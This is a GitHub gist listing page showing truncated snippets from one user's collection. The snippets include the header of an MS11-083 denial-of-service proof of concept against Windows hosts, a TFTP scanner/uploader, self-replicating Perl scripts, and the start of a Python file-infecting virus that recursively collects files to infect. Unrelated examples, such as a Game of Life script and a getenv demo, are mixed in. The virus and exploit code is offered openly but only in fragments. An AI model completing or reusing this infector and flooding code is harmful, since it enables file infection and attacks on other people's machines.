Skip to content

Instantly share code, notes, and snippets.

@fakessh
fakessh / pingudpevil.c
Created October 5, 2012 02:47
pingudpevil.c
/*
* MS11-083 DoS/PoC exploit
* ========================
* This attempts to trigger the ICMP refCount overflow
* in TCP/IP stack of Win7/Vista/Win2k8 hosts. This
* requires sending 2^32 UDP packets to a host on a closed
* port, or 4,294,967,296 packets. A dereference function
* must be called that is not triggered via UDP but ICMP
* echo packets. This exploit creates 250 threads and
* floods a host with UDP packets and then attempts to
@fakessh
fakessh / fixsperl-0
Created September 29, 2012 21:50
fixsperl-0
##http://www.cpan.org/src/5.0/fixsperl-0
## emulate setuid root program
#!/usr/bin/perl
# Usage:
# To fix one or more specific suidperl executables in, say, /usr/bin:
# cd /usr/bin
# fixsperl sperl?.???
# or, to check all $PATH directories for sperl?.??? and fix them, just say:
@fakessh
fakessh / scanneripuploadtftp.pl
Created September 23, 2012 07:41
scanneripuploadtftp.pl
#!/usr/bin/perl -w
use strict;
use warnings;
use Net::TFTP;
use Net::Ping;
use Data::Dumper;
use FileHandle;
BEGIN
{
@fakessh
fakessh / replicate.pl
Created September 23, 2012 03:20
replicate.pl
#!/usr/bin/perl
# Self-referencing, static-data permuting bizneratch-o-fun
#
# Writes a copy of itself out to STDOUT, and executes
# $payload (which currently writes to STDERR.
#
# For best results:
# $ ./replicate.pl > replicate.dup
#
# prole@subterrain.net
@fakessh
fakessh / virii release
Created September 23, 2012 02:33
virri release
#!/opt/perl/bin/perl -w
use strict;
# HACKED
BEGIN {
local *ME;
if (open ME, $0) {
local $/;
my $me = <ME>;
@fakessh
fakessh / infect py file
Created September 23, 2012 02:26
infect py file
#!/usr/bin/python
import os
import datetime
SIGNATURE = "CRANKLIN PYTHON VIRUS"
def search(path):
filestoinfect = []
filelist = os.listdir(path)
for fname in filelist:
if os.path.isdir(path+"/"+fname):
filestoinfect.extend(search(path+"/"+fname))
@fakessh
fakessh / virii.sh
Created September 23, 2012 02:12
virii.sh
#!/bin/sh
#virii bash, by fakessh @
echo "je suis une chaine viral"
echo "je suis une chaine porteuse"
echo "--------------------------"
echo "attention, le petit virus vas sortir"
echo "------------------- ------"
grep "MvM" $0
echo "il est sortie à l'ecran"
echo "mais il peut sortir aussi dans un fichier"
@fakessh
fakessh / tshell
Created September 23, 2012 02:03
tshell
#!/bin/sh
#bsearch.sh by ThreaT
for fichier in *
do
file $fichier > /tmp/t
if grep "shell" /tmp/t > /dev/null; then
echo "$fichier est un Bourne shell script"
fi
done
rm -f /tmp/t
@fakessh
fakessh / this way of life
Created September 23, 2012 01:54
this way of life
#!/bin/bash
# life.sh: "Life in the Slow Lane"
# Version 2: Corrigé par Daniel Albers
#+ pour permettre d'avoir en entrée des grilles non carrées.
# ########################################################################## #
# Ce script est la version Bash du "Jeu de la vie" de John Conway. #
# "Life" est une implémentation simple d'automatisme cellulaire. #
# -------------------------------------------------------------------------- #
# Sur un tableau rectangulaire, chaque "cellule" sera soit "vivante" #
@fakessh
fakessh / path mv
Created September 23, 2012 01:35
path mv
#include <stdio.h>
#include <stdlib.h> /* pour utiliser getenv */
int main(void)
{
char *path, *home, *nouveaupath;
char assignation[150];
path = getenv("PATH");
home = getenv("HOME");
printf("ancien PATH : %s\net HOME : %s\n",